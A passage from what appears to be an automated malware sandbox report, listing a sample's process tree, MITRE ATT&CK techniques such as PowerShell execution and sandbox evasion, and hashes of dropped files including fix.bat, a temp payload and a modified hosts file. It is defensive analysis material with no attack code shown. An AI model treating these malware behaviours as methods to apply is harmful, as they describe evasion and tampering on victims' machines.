  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5840 /prefetch:1
  2⤵
  PID:5292
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1296 /prefetch:1
  2⤵
  PID:2944
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4940 /prefetch:1
  2⤵
  PID:6024
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5832 /prefetch:1
  2⤵
  PID:4480
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4608 /prefetch:1
  2⤵
  PID:5264
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4036 /prefetch:1
  2⤵
  PID:5412
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5796 /prefetch:1
  2⤵
  PID:5420
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1296 /prefetch:1
  2⤵
  PID:5424
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4928 /prefetch:1
  2⤵
  PID:5436
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2156,13072958176731147588,1158133374797215957,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5664 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5352

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2092

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1896

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3192

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x2f8 0x4f4
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 152B
SHA256 183b8e82a0deaa83d04736553671cedb738adc909f483b3c5f822a0e6be7477d
MD5 4dd2754d1bea40445984d65abee82b21
SHA1 4b6a5658bae9a784a370a115fbb4a12e92bd3390
SHA512 92d44ee372ad33f892b921efa6cabc78e91025e89f05a22830763217826fa98d51d55711f85c8970ac58abf9adc6c85cc40878032cd6d2589ab226cd099f99e1
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 152B
SHA256 882a513b71b26210ff251769b82b2c5d59a932f96d9ce606ca2fab6530a13687
MD5 ecf7ca53c80b5245e35839009d12f866
SHA1 a7af77cf31d410708ebd35a232a80bddfb0615bb
SHA512 706722bd22ce27d854036b1b16e6a3cdb36284b66edc76238a79c2e11cee7d1307b121c898ad832eb1af73e4f08d991d64dc0bff529896ffb4ebe9b3dc381696
MD5 SHA1 SHA512

Submit Download

f_000002

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000002
Size 62KB
SHA256 eb48be34490ec9c4f9402b882166cd82cd317b51b2a49aae75cdf9ee035035eb
MD5 c3c0eb5e044497577bec91b5970f6d30
SHA1 d833f81cf21f68d43ba64a6c28892945adc317a6
SHA512 83d3545a4ed9eed2d25f98c4c9f100ae0ac5e4bc8828dccadee38553b7633bb63222132df8ec09d32eb37d960accb76e7aab5719fc08cc0a4ef07b053f30cf38
SSDEEP 1536:6+yyTwrwGtdPDZMlQcadLSHdqyjTxJMJwh09KWWXDManYPHc:6byTwrXL7ZoM28wPIawHc
MD5 SHA1 SHA512 SSDEEP

Submit Download

f_000003

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000003
Size 70KB
SHA256 5addbdd4fe74ff8afc4ca92f35eb60778af623e4f8b5911323ab58a9beed6a9a
MD5 4308671e9d218f479c8810d2c04ea6c6
SHA1 dd3686818bc62f93c6ab0190ed611031f97fdfcf
SHA512 5936b6465140968acb7ad7f7486c50980081482766002c35d493f0bdd1cc648712eebf30225b6b7e29f6f3123458451d71e62d9328f7e0d9889028bff66e2ad2
SSDEEP 1536:X1jcbykc2A3ITsl/i3FWpDk2JaGpWLCcaUgTWo1oo+d+YdHv9d:xcbAZ3QzVUca/W1Z1vD
MD5 SHA1 SHA512 SSDEEP

Submit Download

f_000004

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000004
Size 41KB
SHA256 ee5d25df51e5903841b499f56845b2860e848f9551bb1e9499d71b2719312c1b
MD5 3fa3fda65e1e29312e0a0eb8a939d0e8
SHA1 8d98d28790074ad68d2715d0c323e985b9f3240e
SHA512 4e63a0659d891b55952b427444c243cb2cb6339de91e60eb133ca783499261e333eaf3d04fb24886c718b1a15b79e52f50ef9e3920d6cfa0b9e6185693372cac
SSDEEP 768:eMiUU3CUoaXFgyh5Y3XwuEWaKBIW7wPRtRZlkmc8NuHr6g12:eMDUyWh5Y3Px7sRtRZmmpEHrw
MD5 SHA1 SHA512 SSDEEP

Submit Download

f_000005

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000005
Size 19KB
SHA256 c1334e604dbbffdf38e9e2f359938569afe25f7150d1c39c293469c1ee4f7b6f
MD5 2e86a72f4e82614cd4842950d2e0a716
SHA1 d7b4ee0c9af735d098bff474632fc2c0113e0b9c
SHA512 7a5fd3e3e89c5f8afca33b2d02e5440934e5186b9fa6367436e8d20ad42b211579225e73e3a685e5e763fa3f907fc4632b9425e8bd6d6f07c5c986b6556d47b1
SSDEEP 384:eV4Eqc1qgk/XDVGi8m7JEM9TUKPqivdjfommfP974oNF38:eV9qlxhVEM9UKPpMV74kFM
MD5 SHA1 SHA512 SSDEEP

Submit Download

f_000006

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000006
Size 38KB
SHA256 8ea48b2ac756062818bd4ee2d289b88d0d62dc42a36cb6eee5bdd2ff347816c7
MD5 bff21faca239119a0a3b3cf74ea079c6
SHA1 60a40c7e60425efe81e08f44731e42b4914e8ddf
SHA512 f9e5baefacae0cdb7b9c93afc43ad6ec3902b28c0cdf569e1a7013f4e5c8dfb7b389b5e2bc724b4ddfe554437320f4f2cc648642944c6f48ad2a78815acd9658
SSDEEP 768:jlu3UZ4lPNMoIC+inrknxXUuuPsdm17u4XddF+6:j4PlPNManrexXUZPu4XTF+6
MD5 SHA1 SHA512 SSDEEP

Submit Download

f_000007

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000007
Size 63KB
SHA256 c0997474b99524325dfedb5c020436e7ea9f9c9a1a759ed6daf7bdd4890bdc2b
MD5 710d7637cc7e21b62fd3efe6aba1fd27
SHA1 8645d6b137064c7b38e10c736724e17787db6cf3
SHA512 19aa77bed3c441228789cf8f931ca6194cc8d4bc7bb85d892faf5eaeda67d22c8c3b066f8ceda8169177da95a1fe111bd3436ceeaf4c784bd2bf96617f4d0c44
SSDEEP 1536:ZNIPgrq59wJU9Czk2BFfKoUwOGeoDfEge1gS+UYSdU6D+sNZnwbo2Fa:TI4S67kEfU11yqlYS1/NZyo2Q
MD5 SHA1 SHA512 SSDEEP

Submit Download

f_000008

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000008
Size 88KB
SHA256 b18b9eb934a5b3b81b16c66ec3ec8e8fecdb3d43550ce050eb2523aabc08b9cd
MD5 b38fbbd0b5c8e8b4452b33d6f85df7dc
SHA1 386ba241790252df01a6a028b3238de2f995a559
SHA512 546ca9fb302bf28e3a178e798dd6b80c91cba71d0467257b8ed42e4f845aa6ecb858f718aac1e0865b791d4ecf41f1239081847c75c6fb3e9afd242d3704ad16
SSDEEP 1536:WwVbiMNFmJrBrbhiWu0FKK9fLRXT+FjhwTn1sH5J3iotwUB4xzjIRB9h:zVOiFWwg3Rjm1wRW5JSywbo9h
MD5 SHA1 SHA512 SSDEEP

Submit Download

f_000009

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000009
Size 1.2MB
SHA256 38d0230d427946b2db194d3ef03f39b829d562b44e9c2559e7cfe7d739f1c041
MD5 cb518908d592d6eb6e2f103d96851de0
SHA1 69fdea6b0b99d5af966a76b542cfcb2ad2b68a08
SHA512 9c320c0d207d90d893c567fad79d78f45ca82f479813970c5ed272f2d8a826f870a094c6625b6b0b3e02bd2e6ebf81f3a02e5f69b0cb272fac2141ba2db0e510
SSDEEP 24576:gbQzAQx0BBq3PShkJpf+i56ye8cvWHY9W3ItPXrtGcz5iJzlx:hzRaBB0qhkJp0yfcVW3ItPxPz5Yj
MD5 SHA1 SHA512 SSDEEP

Submit Download

f_00000b

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000b
Size 43KB
SHA256 ecc145203f1c562cae7b733a807e9333c51d75726905a3af898154f3cefc9403
MD5 209af4da7e0c3b2a6471a968ba1fc992
SHA1 2240c2da3eba4f30b0c3ef2205ce7848ecff9e3f
SHA512 09201e377e80a3d03616ff394d836c85712f39b65a3138924d62a1f3ede3eac192f1345761c012b0045393c501d48b5a774aeda7ab5d687e1d7971440dc1fc35
SSDEEP 768:7xfuPSX2nNYAD9454MExjs8isUaXTFolW4BJwnlAWkp0AyBiPXK54nDUardRZ:tfB2nX454MeiJaXxCBJwlAWkjyeKEUux
MD5 SHA1 SHA512 SSDEEP

Submit Download

f_00000c

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000c
Size 73KB
SHA256 e2b4325bb9a706cbfba8f39cca5bde9dae935cbb1d6c8a562c62e740f2208ab4
MD5 cf604c923aae437f0acb62820b25d0fd
SHA1 84db753fe8494a397246ccd18b3bb47a6830bc98
SHA512 754219b05f2d81d11f0b54e5c7dd687bd82aa59a357a3074bca60fefd3a88102577db8ae60a11eb25cc9538af1da39d25fa6f38997bdc8184924d0c5920e89c8
SSDEEP 1536:wtwflg2OkjCNcaaOGaaEsEiWWFB7vLupN+4CiG52o78vfQ:wYWtkjC6xaaECJ7aNiiYxgg
MD5 SHA1 SHA512 SSDEEP

Submit Download

f_000034

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000034
Size 212KB
SHA256 7a68efe41e5d8408eed6e9d91a7b7b965a3062e4e28eeffeefb8cdba6391f4d1
MD5 08ec57068db9971e917b9046f90d0e49
SHA1 28b80d73a861f88735d89e301fa98f2ae502e94b
SHA512 b154142173145122bc49ddd7f9530149100f6f3c5fd2f2e7503b13f7b160147b8b876344f6faae5e8616208c51311633df4c578802ac5d34c005bb154e9057cf
SSDEEP 3072:tG3zu3Ek6OGff9u9xmHDyzB2m2niCRYd16kwEaqKk35LaHahdU269cWQJWU7/u2Y:tuNH9BHM2niUY+kyqKk6mCT7ULuoK9
MD5 SHA1 SHA512 SSDEEP

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 1KB
SHA256 c30f82ede31c00813a329a7d723ed630042cfb5129353cdec262f0a6f93e662c
MD5 60ac62ecd6bc1ba092876816fecdec2d
SHA1 b3f6a6344e13b24690d5d2a80b92270223c2eea8
SHA512 f79de63e02eecb1313641f7b1f98a36cb4ca3fd24741b44757a5b660a8f27c9b85eaa5fbc7e1bfe143359cbf775c36e31392e0782d2ab51f2b5c5516136e5f28
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 b975b056fcef1466d78bbe9338e217dc964f2cf138bf4ad3bb449336d92f5ea9
MD5 567f34589359cbd1924f17956d467ba3
SHA1 89f2fbb3d94bff541a1f85e0b11afb6da1af956c
SHA512 4812797447316a375e38c328e3d33fe359c766f91a7f9ee6f6a45199ddf4b04c4024e3bffb8a9241c4985c9a9a69af3e298ec8ade6652c8c73e626f5e0f9e69a
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
Size 2KB
SHA256 e493b1015f7b1ed7b8e4fb6abd4def686e2375a7aea012a63712d748342fa1b3
MD5 43bbdb6f2d55403e7038402efbbd5b73
SHA1 299f4302154b34b5079d6fce375cc8d29480713e
SHA512 ecfea89bd534109b05b86ee6f5f24bc98b31de794f8baf8a4b9d0073e2da3a62388b1e4ef7afdf5ff8587fd4064d36f10346798d17b2e7c160a792aa7c635550
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
Size 1KB
SHA256 45d8ad642347f49eb12aafbfab58510784cb74dac0c54b35be3138708c1a5265
MD5 10e968e32f92389202902bc5bda8475f
SHA1 371aba5c80cd2a028e3d1db18509b0a961e0b515
SHA512 3d34a934354fc9a3c8b1aabcdbbf43fdf8d396a71c82f3ff270cfc54f680e2ecffcfb6c4a81b39f605fed0c0104182413e5013f2f3cc900e6c3211ea06850326
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 7KB
SHA256 3ee08088737d2491acb1bad1a374cda7f2d17781052c19039cd570568d2d62b2
MD5 acc5d679d541d5bd55f530ffd8c6afe6
SHA1 301af4f246c2cb8705a8f7f06c8c2b54a63c4bfb
SHA512 a497b076399797569c849637cc6d65b0379fb842d05683d3049cc56c52137d146b07ddc6c05ff174974dfe61ae8c07757cf77d715c8aa08884f7152c343152d7
SSDEEP 96:n1lkfMPFY1LaTNwpgWWMoi4vRdR5mdegbtZjEMGSVP2Hj2fq4S4YCARCJjUWQyVg:nXkfn1KjWWMS7wtt9eD2TSMJrg
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 6KB
SHA256 4c332279afd619cf0ffe44506165d66978bb320d39fd2e966de95103368ed9bf
MD5 587b0bb2887de198caeda770d15cb8cd
SHA1 4f0dd501f1a62c97ba89b677d4af7d628fde495f
SHA512 c225dbf7b5b70976e223c415178b9327da8023d9eb86c67a0f3370d189285f79c1c794ece64da3d8f92eef293a1f9bab7d92291dc7e998be620afd3448ec0e3e
SSDEEP 96:n1lkRMtFY1HoTNwpTVWWMoi4vR5mdeg4YZCMkdfq4S4YCXoCJjUWQyV+VD7AiEwb:nXkRJdIqWWMSvYEBTSoJrg
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 7KB
SHA256 28fa44f7d209018e3099b22420274697752529193e5a3e62a8f2a411a2aaf06e
MD5 f351698bda11b385f42f27dd1ab61c88
SHA1 b8fde533023f03ea9716ddf2ae7da69246dc911f
SHA512 c7d26de71cf276a528d3043d111d286003e55dcdc9943bd2e7dd1fe21d54e6b75958ed14e840fb68ab2aca7bc2da5e54d454bebe488ff2173664860307b514a9
SSDEEP 96:n1lkfM/FY1LaTNwpgWWMoi4vRdR5mdeYuD1UbtZjEMGSVP2Hj2fq4S4YE3RCJjUn:nXkf11KjWWMS7SuDstt9eD2TStJrg
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 5KB
SHA256 69167733b7df83dcfb5cb2f42b8ea373aea324e194dab6b0a5c0463bb7715b25
MD5 88a4226f125ca65684f210a217f40a3f
SHA1 b9af32e705b265876bbae9c986db08350c190add
SHA512 fed4962f7a6c1a4682b8ee235b8b1cd7c099aa6ffcb732dcd7289701918014ea0bfbd406e87102d43275bde6839f8d04ed5ac3572478afba7c21744999294256
SSDEEP 96:n1lkRhFY1HHTNwpvWMoiVmdeH44YAoCJjUWQyV+VDCziEwb:nXkRYd5GWMX4QJro
MD5 SHA1 SHA512 SSDEEP

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
Size 869B
SHA256 302bd4c50749415fd6725a6fbf285c4b46b199abdcc40aea8c1d8a789bc06c1e
MD5 0b4db6ae7335a031a70413fb330aab19
SHA1 ae08c8ea0c4255e9c57bf86b975c6eb9c2afc584
SHA512 0932f1e9eac140978aa381f2150d21e36cc1976e1a87c9005375936d93c4d0f794ee890d1483ed42f5ec1259b15367198bf09c776be8d13c54406358acd55c39
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
Size 1KB
SHA256 8ad8818e707b80b31226459edd371f8f69b7bca34c8d20b3fcc881d24b18fb5b
MD5 298f0d6a9ab4d20f176254e321383437
SHA1 41156cbbb027a1e90537388c0e34e2b07bd33b3f
SHA512 8d18fba0ec962f3de36648d9bcf4b8c6c1e185bda7b48be524fcb475d99e63ccbf026c30eaf2742808a4efa8730594f98beb53565adb9706f572bc1f4d18340a
MD5 SHA1 SHA512

Submit Download

TransportSecurity~RFe58af75.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe58af75.TMP
Size 536B
SHA256 98b71de670c20784c51382d3cb1a7fa93a93e5cb3b0b29a16a23fc78ead2a979
MD5 c0811b6a7c01e4d958609a84a81ad7ff
SHA1 1255ba118293e2311d76dbd1aa65a99268b54393
SHA512 02e3a92bab552c56e44a8d01012b9a777b18425a26c49671bc02464145b664c845b66e4da5595d258eb5db4407ec01e42935c681304b17e374022e2de83f660c
MD5 SHA1 SHA512

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Size 16B
SHA256 0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd
MD5 6752a1d65b201c13b62ea44016eb221f
SHA1 58ecf154d01a62233ed7fb494ace3c3d4ffce08b
SHA512 9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 10KB
SHA256 78b2e9fa93b8aa0f194612317e52e2d9a2f4a4d8876225d612e340efc0883973
MD5 2afaee8c6ad2f81f928e9251d6a6e8fe
SHA1 e87a7a8cf9ddffd47e524f28c2fa43c2e2b354a3
SHA512 eb355b7927bd31c67ce2972e25ae612b4e7aa78cc3ae7434ee7ee1668f293d5c710d67d4e574fc0dc6d6b4845605d0506b4716ef7316eec3bc4d2c00960c75da
SSDEEP 192:YoCL/Pgu90RZj8Sr6FA4ZiIxuERzA83h09RZxAexupKS2RUWPSlk4IcM/bo5Zx/:A9iIxuERzA83h09RZxYa/PrRqZx/
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 10KB
SHA256 1e5c655bb8736651e9034e5d080159e57527c6a6a3443cb6a35be259f72ec37c
MD5 ffec6f9f91713cd89bed0ed2840dd7be
SHA1 7dac29456f27e032dcb3a05831d28e3abbeb5f90
SHA512 a47bb5c65040946be9fcd8ddf7a54126604e7a2cd3d7eb0c8e787a3f20ee21b2a002a79c6f44cb1fd3f9fb774345fda62783e7ca51a9604805edf3c4f78e6179
SSDEEP 192:foCL/Pgu90RZj8Sr6FA4ZiIxuERzA83h09RZxAexupKS2RUWPSlkNIcM/bo5Zx/:H9iIxuERzA83h09RZxYa/PruqZx/
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 82147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0
MD5 08f9f3eb63ff567d1ee2a25e9bbf18f0
SHA1 6bf06056d1bb14c183490caf950e29ac9d73643a
SHA512 425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_buamel31.5xo.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_buamel31.5xo.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

aut8E26.tmp

Path C:\Users\Admin\AppData\Local\Temp\aut8E26.tmp
Size 3.6MB
SHA256 87f84086ae3ebd38fe6df4c2a90cc2064787c9a863bb279cc278467aa2f0edc9
MD5 898bbb4fac0d31cacf8bd6f0ea1dcd14
SHA1 cbc25afd3e39ec0b030a6148ad44ae882ad063be
SHA512 66848d109d566c7f6c273c86b0a8611340e46534a4f028f91091d06900448c95c4093bd987c06a2be4c246ded5c6baa8de3d03049f4cfa49da9b360e6b5a2ec4
SSDEEP 98304:L3owdpWVtCoXe+qkSotby2LXGH0X67oS3z2fz0b6amXY/cO2B6y:L3pdgV8oqFo9d7TS3z2fz0b6a30OkP
MD5 SHA1 SHA512 SSDEEP

Submit Download

fix.bat

Path C:\Users\Admin\AppData\Local\Temp\fix.bat
Size 1KB
SHA256 9847b9305180be84090dc361c21bfc002223309fbf22a991b5396bf5a5fd79d3
MD5 ded50caaa850f5278662834fd32021ae
SHA1 2bd1354b58408585a5ef862838cb97f7ab1f219c
SHA512 d8286d37a412aa73cd97f0a5321825f5bf138e91069477e4dddfbfcc0835723606a692da858b4331d2f127b50d2154d81fd98bd08d0a1d0904b63e07de689620
MD5 SHA1 SHA512

Submit Download

server.crt

Path C:\Users\Admin\AppData\Local\Temp\server.crt
Size 8KB
SHA256 b6ffc9051d06fe4067e0fdc1534e61304f67a9a2148da22c47a5be57b3625895
MD5 7dba749494acf423a53ec84ad20c8ee4
SHA1 4a6a3537a6bb3bc6dfbe3a26d5a4671be8d3cdbf
SHA512 2ebdfd082c51b54a3518bd49ef9cca0b806e4d991be2e9e4e3f4cbfa669567a666f085562129ada0426076201e32a0d062348a493f72a1d70152c94a322c9094
SSDEEP 192:H24TYJ3fykc/spdL83fgATdLM4AzV6iL80eL8MJCn/cMaly1Orp:HvYJNDLafgATdCfLaLjJCnkMaaOrp
MD5 SHA1 SHA512 SSDEEP

Submit Download

hosts

Path C:\Windows\System32\drivers\etc\hosts
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

Submit Download

hosts

Path C:\Windows\system32\drivers\etc\hosts
Size 30B
SHA256 b4ef94a630223c580851c61783ddb79b8dc497cc817241cc265c0a45dfb8602b
MD5 57ac2658320ab81938f4aa95a190aa5d
SHA1 db6f1a35ac27749e1ebeea6d6440c70fceb61732
SHA512 3eedf60afa229b627826100dbdc9435a655207476d2426e1fa2380c49be707fd3a47552db01e51a3c346816a86f466facf66ea0cd394725d7ac3e4757effdc3e
MD5 SHA1 SHA512

Submit Download

memory/3028-59-0x000001FCC47F0000-0x000001FCC47F1000-memory.dmp

Download

memory/3028-62-0x000001FCC47F0000-0x000001FCC47F1000-memory.dmp

Download

memory/3028-63-0x000001FCC47F0000-0x000001FCC47F1000-memory.dmp

Download

memory/3028-64-0x000001FCC47F0000-0x000001FCC47F1000-memory.dmp

Download

memory/3028-55-0x000001FCC47F0000-0x000001FCC47F1000-memory.dmp

Download

memory/3028-65-0x000001FCC47F0000-0x000001FCC47F1000-memory.dmp

Download

memory/3028-60-0x000001FCC47F0000-0x000001FCC47F1000-memory.dmp

Download

memory/3028-61-0x000001FCC47F0000-0x000001FCC47F1000-memory.dmp

Download

memory/3028-53-0x000001FCC47F0000-0x000001FCC47F1000-memory.dmp

Download

memory/3028-54-0x000001FCC47F0000-0x000001FCC47F1000-memory.dmp

Download

memory/3932-22-0x000001EDEC3C0000-0x000001EDEC3E2000-memory.dmp

Download

memory/4448-409-0x00007FF721F30000-0x00007FF7227E2000-memory.dmp

Download

